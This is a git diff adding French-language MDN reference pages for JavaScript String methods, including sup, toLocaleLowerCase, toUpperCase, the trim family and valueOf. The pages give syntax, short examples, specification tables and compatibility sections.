+  for (var i = 0; i < fullS.length; i++) {
+    if (fullS.substring(i, i + oldS.length) == oldS) {
+     fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
+    }
+  }
+  return fullS;
+}
+
+replaceString("World", "Web", "Brave New World");
+ +

Attention : ceci peut résulter en une boucle infinie si oldS est elle-même une sous-chaine de newS -- par exemple, si on essaie de remplacer "World" par "OtherWorld". Une meilleure solution serait de remplacer les chaines de cette manière :

+ +
function replaceString(oldS, newS,fullS){
+  return fullS.split(oldS).join(newS);
+}
+ +

Le code ci-dessus sert d'exemple pour les opérations sur les sous-chaines. S'il est nécessaire de remplacer des sous-chaines, la plupart du temps il faudrait préférer l'utilisation de {{jsxref("String.prototype.replace()")}}.

+ +

Différence entre substring() et substr()

+ +

Il existe une légère différence entre les méthodes substring() et {{jsxref("String.substr", "substr()")}}. Les deux ne doivent pas être confondues.

+ +

Les arguments de la méthode substring() représentent les indices de début et de fin sur la chaîne. Pour substr(), les arguments représentent l'indice de début et le nombre de caractères à utiliser pour la chaîne résultante.

+ +
var texte = "Mozilla";
+console.log(texte.substring(2,5)); // => "zil"
+console.log(texte.substr(2,3)); // => "zil"
+
+ +

Différences entre substring() et slice()

+ +

Les méthodes substring() et {{jsxref("String.slice", "slice()")}} sont très proches mais certaines différences les distinguent, notamment la façon de gérer les arguments négatifs.

+ +

La méthode substring() échangera les deux arguments si indiceA est supérieur à indiceB et renverra donc une chaîne de caractères. La méthode {{jsxref("String.slice", "slice()")}} n'échange pas les arguments et renvoie donc une chaîne vide si le premier est supérieur au second :

+ +
var text = 'Mozilla';
+console.log(text.substring(5, 2)); // => "zil"
+console.log(text.slice(5, 2));     // => ""
+
+ +

Si l'un ou l'autre des arguments sont négatifs ou valent NaN, la méthode substring() les traitera comme s'ils valaient 0.

+ +
console.log(text.substring(-5, 2)); // => "Mo"
+console.log(text.substring(-5, -2)); // => ""
+
+ +

slice() traite également NaN comme 0, mais parcourt la chaîne à partir de la fin lorsque des arguments négatifs sont utilisés.

+ +
console.log(text.slice(-5, 2)); // => ""
+console.log(text.slice(-5, -2)); // => "zil"
+
+ +

Pour plus d'exemples sur l'utilisation d'arguments négatifs, voir la page {{jsxref("String.slice", "slice()")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.substring")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.substr()")}} {{deprecated_inline}}
    • +
  • {{jsxref("String.prototype.slice()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/sup/index.html b/files/fr/web/javascript/reference/global_objects/string/sup/index.html new file mode 100644 index 0000000000..f56e0f2a9b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/sup/index.html @@ -0,0 +1,76 @@ +--- +title: String.prototype.sup() +slug: Web/JavaScript/Reference/Objets_globaux/String/sup +tags: + - Deprecated + - HTML wrapper methods + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/sup +--- +
{{JSRef}} {{deprecated_header}}
+ +

La méthode sup() crée un élément HTML {{HTMLElement("sup")}} qui entraîne l'affichage de la chaîne en exposant.

+ +

Syntaxe

+ +
str.sup()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("sup")}}.

+ +

Description

+ +

La méthode sup encapsule une chaîne dans une balise <sup> :
+ "<sup>str</sup>".

+ +

Exemples

+ +

L'exemple suivant utilise les méthodes {{jsxref("String.prototype.sub()", "sub()")}} et sup pour mettre en forme une chaîne :

+ +
var superText = "exposant";
+var subText = "indice";
+
+console.log("Ceci illustre l'affichage d'un texte en " + superText.sup() + ".");
+// Ceci illustre l'affichage d'un texte en <sup>exposant</sup>.
+console.log("Ceci illustre l'affichage d'un texte en " + subText.sub() + ".");
+Ceci illustre l'affichage d'un texte en <sub>indice</sub>.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.sup', 'String.prototype.sup')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.sup', 'String.prototype.sup')}}{{Spec2('ESDraft')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles des navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.sup")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.sub()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/tolocalelowercase/index.html b/files/fr/web/javascript/reference/global_objects/string/tolocalelowercase/index.html new file mode 100644 index 0000000000..583232b3cf --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/tolocalelowercase/index.html @@ -0,0 +1,109 @@ +--- +title: String.prototype.toLocaleLowerCase() +slug: Web/JavaScript/Reference/Objets_globaux/String/toLocaleLowerCase +tags: + - Internationalisation + - JavaScript + - Méthode + - Prototype + - Reference + - String + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase +--- +
{{JSRef}}
+ +

La méthode toLocaleLowerCase() renvoie la chaîne de caractères qui appelle la méthode en une chaîne de caractères représentées en minuscules, en tenant compte des correspondances de caractères propres aux différentes locales.

+ +
{{EmbedInteractiveExample("pages/js/string-tolocalelowercase.html")}}
+ + + +

Syntaxe

+ +
str.toLocaleLowerCase()
+str.toLocaleLowerCase(locale)
+str.toLocaleLowerCase([locale, locale, ...])
+ +

Paramètres

+ +
+
locale {{optional_inline}}
+
Ce paramètre indique la locale dans laquelle convertir la chaîne en minuscules en utilisant les correspondances de cette locale. Si plusieurs locales sont fournies au sein d'un tableau, c'est la meilleure locale disponible qui est utilisée. La locale par défaut est celle utilisée par le système hôte.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères obtenue à partir de la chaîne appelante, convertie en minuscules en tenant compte de la locale.

+ +

Exceptions

+ +

Cette méthode peut lever les exceptions suivantes :

+ +
    +
  • {{jsxref("RangeError")}} ("invalid language tag: xx_yy") si l'argument locale ne correspond pas à une balise de langue valide.
    • +
  • {{jsxref("TypeError")}} ("invalid element in locales argument") si un des éléments du tableau passé en argument n'est pas une chaîne de caractères.
    • +
+ +

Description

+ +

La méthode toLocaleLowerCase() renvoie la valeur de la chaîne de caractères, convertie en minuscules selon les correspondances propres à la la locale. toLocaleLowerCase() ne modifie pas la chaîne d'origine. Dans la plupart des cas, cette méthode produira le même résultat que {{jsxref("String.toLowerCase", "toLowerCase()")}}. En revanche, pour certaines locales, par exemple les locales turques dont les correspondances entre les caractères ne sont pas celles par défaut, prévues par Unicode, cette méthode pourra produire un résultat différent.

+ +

Exemples

+ +
"ALPHABET".toLocaleLowerCase(); // "alphabet"
+
+"\u0130".toLocaleLowerCase("tr") === "i"; // true
+"\u0130".toLocaleLowerCase("en-US") === "i"; // false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.17', 'String.prototype.toLocaleLowerCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int Draft', '#sup-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}{{Spec2('ES Int Draft')}}Ajout du paramètre locale dans ES Intl 2017
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.toLocaleLowerCase")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.toLocaleUpperCase()")}}
    • +
  • {{jsxref("String.prototype.toLowerCase()")}}
    • +
  • {{jsxref("String.prototype.toUpperCase()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/tolocaleuppercase/index.html b/files/fr/web/javascript/reference/global_objects/string/tolocaleuppercase/index.html new file mode 100644 index 0000000000..41e4a41e44 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/tolocaleuppercase/index.html @@ -0,0 +1,110 @@ +--- +title: String.prototype.toLocaleUpperCase() +slug: Web/JavaScript/Reference/Objets_globaux/String/toLocaleUpperCase +tags: + - Internationalisation + - JavaScript + - Méthode + - Prototype + - Reference + - String + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase +--- +
{{JSRef}}
+ +

La méthode toLocaleUpperCase() renvoie la chaîne de caractères qui appelle la méthode en caractères majuscules, selon les correspondances de caractères propres aux différentes locales.

+ +
{{EmbedInteractiveExample("pages/js/string-tolocaleuppercase.html")}}
+ + + +

Syntaxe

+ +
str.toLocaleUpperCase()
+str.toLocaleUpperCase(locale)
+str.toLocaleUpperCase([locale, locale, ...])
+ +

Paramètres

+ +
+
locale {{optional_inline}}
+
Le paramètre locale indique la locale dans laquelle convertir la chaîne en majuscules afin que la méthode utilise les correspondances de cette locale. Si plusieurs locales sont fournies au sein d'un tableau, la meilleure locale disponible est alors utilisée. La locale par défaut est celle utilisée par le système hôte.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères obtenue en transformant la chaîne de caractères appelante en majuscules et en tenant compte de la locale.

+ +

Exceptions

+ +

Cette méthode peut lever les exceptions suivantes :

+ +
    +
  • {{jsxref("RangeError")}} ("invalid language tag: xx_yy") si l'argument locale ne correspond pas à une balise de langue valide.
    • +
  • {{jsxref("TypeError")}} ("invalid element in locales arguments") si un élément du tableau de locales passé en argument n'est pas une chaîne de caractères.
    • +
+ +

Description

+ +

La méthode toLocaleUpperCase() renvoie la valeur de la chaîne de caractères, convertie en majuscules selon les correspondances propres à la la locale. toLocaleUpperCase() ne modifie pas la chaîne d'origine. Dans la plupart des cas, cette méthode produira le même résultat que {{jsxref("String.toUpperCase", "toUpperCase()")}}. En revanche, pour certaines locales, par exemple les locales turques dont les correspondances entre les caractères ne sont pas celles par défaut prévue par Unicode, cette méthode pourra produire un résultat différent.

+ +

On notera également que la conversion ne repose pas sur une correspondance un à un de chaque caractère. En effet, certains caractères produisent deux (voire plus) caractères lorsqu'ils sont convertis en majuscules. Ainsi, la longueur de la chaîne passée en majuscules peut être différente de la longueur de la chaîne originale. Cela implique que la transformation n'est pas stable, autrement dit, l'instruction suivante pourra renvoyer false : x.toLocaleLowerCase() === x.toLocaleUpperCase().toLocaleLowerCase().

+ +

Exemples

+ +
"alphabet".toLocaleUpperCase();       // "ALPHABET"
+'Gesäß'.toLocaleUpperCase();          // 'GESÄSS'
+"i\u0307".toLocaleUpperCase("lt-LT"); // "I"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.19', 'String.prototype.toLocaleUpperCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int Draft', '#sup-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}{{Spec2('ES Int Draft')}}Ajout du paramètre locale dans ES Intl 2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.toLocaleUpperCase")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.toLocaleLowerCase()")}}
    • +
  • {{jsxref("String.prototype.toLowerCase()")}}
    • +
  • {{jsxref("String.prototype.toUpperCase()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/tolowercase/index.html b/files/fr/web/javascript/reference/global_objects/string/tolowercase/index.html new file mode 100644 index 0000000000..22a5b3f34a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/tolowercase/index.html @@ -0,0 +1,81 @@ +--- +title: String.prototype.toLowerCase() +slug: Web/JavaScript/Reference/Objets_globaux/String/toLowerCase +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase +--- +
{{JSRef}}
+ +

La méthode toLowerCase() retourne la chaîne de caractères courante en minuscules.

+ +
{{EmbedInteractiveExample("pages/js/string-tolowercase.html")}}
+ + + +

Syntaxe

+ +
str.toLowerCase()
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères qui est obtenue en passant la chaîne appelante en minuscules.

+ +

Description

+ +

La méthode toLowerCase() renvoie la valeur de la chaîne convertie en minuscules. toLowerCase() ne modifie pas la valeur de la chaîne courante.

+ +

Exemples

+ +
console.log( "ALPHABET".toLowerCase() ); // "alphabet"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.toLowerCase")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.toLocaleLowerCase()")}}
    • +
  • {{jsxref("String.prototype.toLocaleUpperCase()")}}
    • +
  • {{jsxref("String.prototype.toUpperCase()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/tosource/index.html b/files/fr/web/javascript/reference/global_objects/string/tosource/index.html new file mode 100644 index 0000000000..19b1006e1d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/tosource/index.html @@ -0,0 +1,58 @@ +--- +title: String.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/String/toSource +tags: + - JavaScript + - Méthode + - Non-standard + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource +--- +
{{JSRef}} {{Non-standard_header}}
+ +

La méthode toSource() permet de renvoyer une chaîne de caractères représentant le code source de l'objet.

+ +

Syntaxe

+ +
String.toSource()
+str.toSource()
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le code source de la chaîne de caractères appelante.

+ +

Description

+ +

La méthode toSource() renvoie les valeurs suivantes :

+ +
    +
  • Pour l'objet natif {{jsxref("String")}}, toSource() renvoie la chaîne de caractère suivante, indiquant que le code source n'est pas disponible : + + 
    function String() {
+    [native code]
+}
+
    +
    • +
  • Pour les instances de {{jsxref("String")}} ou les littéraux de chaînes de caractères, toSource() renvoie une chaîne de caractère représentant le code source.
    • +
+ +

Généralement, cette méthode est appelée par du code interne au moteur JavaScript et n'est pas trouvée dans du code JavaScript externe.

+ +

Spécifications

+ +

Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.toSource")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/tostring/index.html b/files/fr/web/javascript/reference/global_objects/string/tostring/index.html new file mode 100644 index 0000000000..ef3618a8b5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/tostring/index.html @@ -0,0 +1,82 @@ +--- +title: String.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/String/toString +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaine de caractères représentant l'objet renseigné.

+ + + +
{{EmbedInteractiveExample("pages/js/string-tostring.html")}}
+ +

Syntaxe

+ +
str.toString()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant la chaîne appelante.

+ +

Description

+ +

L'objet {{jsxref("String")}} surcharge la méthode toString() de l'objet {{jsxref("Object")}} ; il n'hérite pas de {{jsxref("Object.toString","Object.prototype.toString()")}}. Pour Les objets String, la méthode toString() renvoie une chaine de caractères représentant l'objet, et est similaire à la méthode {{jsxref("String.prototype.valueOf()")}}.

+ +

Exemples

+ +

L'exemple suivant affiche la valeur textuelle d'un objet  {{jsxref("String")}} :

+ +
var x = new String("coucou monde");
+console.log(x.toString()); // affiche "coucou monde"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.5.4.2', 'String.prototype.toString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.tostring', 'String.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.tostring', 'String.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.toString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
  • {{jsxref("String.prototype.valueOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/touppercase/index.html b/files/fr/web/javascript/reference/global_objects/string/touppercase/index.html new file mode 100644 index 0000000000..9f456170cf --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/touppercase/index.html @@ -0,0 +1,107 @@ +--- +title: String.prototype.toUpperCase() +slug: Web/JavaScript/Reference/Objets_globaux/String/toUpperCase +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase +--- +
{{JSRef}}
+ +

La méthode toUpperCase() retourne la valeur de la chaîne courante, convertie en majuscules.

+ +
{{EmbedInteractiveExample("pages/js/string-touppercase.html")}}
+ + + +

Syntaxe

+ +
str.toUpperCase()
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères obtenue à partir de la chaîne appelante, passée en majuscules.

+ +

Exceptions levées

+ +
+
{{jsxref("TypeError")}}
+
Une telle exception sera levée si on appelle cette méthode sur {{jsxref("null")}} ou {{jsxref("undefined")}} (en utilisant Function.prototype.call() par exemple).
+
+ +

Description

+ +

La méthode toUpperCase() retourne la valeur de la chaîne convertie en majuscules. toUpperCase n'affecte pas la valeur de la chaîne elle-même.

+ +

Exemples

+ +

Utiliser toUpperCase()

+ +
console.log( "alphabet".toUpperCase() ); // "ALPHABET"
+ +

Convertir une valeur this en chaîne de caractères

+ +

Cette peut être utilisée pour convertir une valeur qui n'est pas une chaîne de caractères lorsque celle-ci est fournie comme valeur this : ​​​​

+ +
var obj = {
+  toString: function toString(){
+    return 'abcdef';
+  }
+};
+var a = String.prototype.toUpperCase.call(obj);
+var b = String.prototype.toUpperCase.call(true);
+
+console.log(a); // Affiche 'ABCDEF' dans la console
+console.log(b); // Affiche 'TRUE' dans la console
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.5.4.18', 'String.prototype.toUpperCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.toUpperCase")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.toLocaleLowerCase()")}}
    • +
  • {{jsxref("String.prototype.toLocaleUpperCase()")}}
    • +
  • {{jsxref("String.prototype.toLowerCase()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/trim/index.html b/files/fr/web/javascript/reference/global_objects/string/trim/index.html new file mode 100644 index 0000000000..963280c9e7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/trim/index.html @@ -0,0 +1,96 @@ +--- +title: String.prototype.trim() +slug: Web/JavaScript/Reference/Objets_globaux/String/trim +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - String + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/String/Trim +--- +
{{JSRef}}
+ +

La méthode trim() permet de retirer les blancs en début et fin de chaîne. Les blancs considérés sont les caractères d'espacement (espace, tabulation, espace insécable, etc.) ainsi que les caractères de fin de ligne (LF, CR, etc.).

+ +
{{EmbedInteractiveExample("pages/js/string-trim.html")}}
+ + + +

Syntaxe

+ +
str.trim()
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères dérivant de la chaîne appelante pour laquelle les blancs ont été retirés aux deux extrémités de la chaîne.

+ +

Description

+ +

La méthode trim() renvoie la chaîne sans blanc au début et à la fin. La méthode trim() n'affecte pas la valeur de la chaîne courante.

+ +

Exemples

+ +

L'exemple qui suit affiche la chaîne 'toto' :

+ +
var chaîneOriginale = '   toto  ';
+console.log(chaîneOriginale.trim()); // 'toto'
+
+// Un autre exemple de .trim() qui enlève les espaces juste d'un côté
+
+var chaîneOriginale = 'toto    ';
+console.log(chaîneOriginale.trim()); // 'toto'
+
+ +

Prothèse d'émulation (polyfill)

+ +

Si l'environnement utilisé ne possède pas cette méthode, il est possible de l'émuler avec le fragment de code suivant :

+ +
if (!String.prototype.trim) {
+  String.prototype.trim = function () {
+    return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
+  };
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.1.
{{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.trim', 'String.prototype.trim')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.trim")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.trimStart()")}}
    • +
  • {{jsxref("String.prototype.trimEnd()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/trimend/index.html b/files/fr/web/javascript/reference/global_objects/string/trimend/index.html new file mode 100644 index 0000000000..e85452758d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/trimend/index.html @@ -0,0 +1,82 @@ +--- +title: String.prototype.trimEnd() +slug: Web/JavaScript/Reference/Objets_globaux/String/trimEnd +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd +--- +
{{JSRef}}
+ +

La méthode trimEnd() permet de retirer les blancs situés à la fin d'une chaîne de caractères. trimRight() est un synonyme pour cette méthode.

+ +
{{EmbedInteractiveExample("pages/js/string-trimend.html")}}
+ + + +

Syntaxe

+ +
str.trimEnd();
+str.trimRight();
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères basée sur la chaîne appelante et dont les blancs en fin de chaîne ont été supprimés.

+ +

Description

+ +

La méthode trimEnd() renvoie la chaîne de caractères sans les blancs présents à partir de la droite de la chaîne. trimEnd() ne modifie pas la chaîne elle-même.

+ +

Synonyme

+ +

Pour des raisons de cohérence avec les méthodes existantes comme {{jsxref("String.prototype.padEnd")}}, le nom standard de cette méthode est trimEnd. Toutefois, à des fins de compatibilité web, trimRight est un synonyme de trimEnd. Pour certains moteurs JavaScript, on pourra donc avoir :

+ +
String.prototype.trimRight.name === "trimEnd";
+ +

Exemples

+ +

L'exemple qui suit illustre comment afficher la chaîne "   toto":

+ +
var str = "   toto  ";
+
+console.log(str.length); // 9
+
+str = str.trimEnd();
+console.log(str.length); // 7
+console.log(str);        // "   toto"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour String.prototype.{trimStart,trimEnd}Brouillon de niveau 4Attendu pour ES2019
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.trimEnd")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.trim()")}}
    • +
  • {{jsxref("String.prototype.trimStart()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/trimstart/index.html b/files/fr/web/javascript/reference/global_objects/string/trimstart/index.html new file mode 100644 index 0000000000..320efbdfd6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/trimstart/index.html @@ -0,0 +1,82 @@ +--- +title: String.prototype.trimStart() +slug: Web/JavaScript/Reference/Objets_globaux/String/trimStart +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart +--- +
{{JSRef}}
+ +

La méthode trimStart() permet de retirer les blancs au début de la chaîne de caractères. trimLeft() est un synonyme pour cette méthode.

+ +
{{EmbedInteractiveExample("pages/js/string-trimstart.html")}}
+ + + +

Syntaxe

+ +
str.trimStart();
+str.trimLeft();
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères dérivant de la chaîne appelante pour laquelle les blancs en début de chaîne ont été retirés.

+ +

Description

+ +

La méthode trimStart() renvoie la chaîne de caractères dont les blancs à gauche ont été retirés. trimStart ne modifie pas la chaîne elle-même.

+ +

Synonyme

+ +

Pour des raisons de cohérences avec les méthodes préexistantes (telles que {{jsxref("String.prototype.padStart")}}), le nom standard de cette méthode est trimStart. Toutefois, à des fins de compatibilité web, le nom trimLeft sera gardé comme un synonyme. Pour certains moteurs JavaScript, on pourra donc avoir :

+ +
String.prototype.trimLeft.name === "trimStart";
+ +

Exemple

+ +

L'exemple qui suit illustre comment afficher la chaîne de caractères "toto  " en minuscules :

+ +
var str = "   toto  ";
+
+console.log(str.length); // 8
+
+str = str.trimStart();
+console.log(str.length); // 5
+console.log(str);        // "toto  "
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour String.prototype.{trimStart,trimEnd}Brouillon de niveau 4Attendu pour ES2019
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.trimStart")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.trim()")}}
    • +
  • {{jsxref("String.prototype.trimEnd()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/valueof/index.html b/files/fr/web/javascript/reference/global_objects/string/valueof/index.html new file mode 100644 index 0000000000..58c9fb66bf --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/valueof/index.html @@ -0,0 +1,83 @@ +--- +title: String.prototype.valueOf() +slug: Web/JavaScript/Reference/Objets_globaux/String/valueOf +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf +--- +
{{JSRef}}
+ +

La méthode valueOf() renvoie la valeur primitive de l'objet {{jsxref("String")}}.

+ +
{{EmbedInteractiveExample("pages/js/string-valueof.html")}}
+ + + +

Syntaxe

+ +
str.valueOf()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente la valeur primitive d'un objet {{jsxref("String")}}.

+ +

Description

+ +

La méthode valueOf() de String renvoie la valeur primitive de l'objet String sous la forme d'une chaine de caractères. Cette valeur est équivalente à {{jsxref("String.prototype.toString()")}}.

+ +

Cette méthode est généralement appelée en interne par JavaScript et non explicitement dans du code.

+ +

Exemples

+ +
var x = new String("Coucou monde");
+console.log(x.valueOf()); // affiche "Coucou monde"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.5.4.3', 'String.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.valueOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.toString()")}}
    • +
  • {{jsxref("Object.prototype.valueOf()")}}
    • +
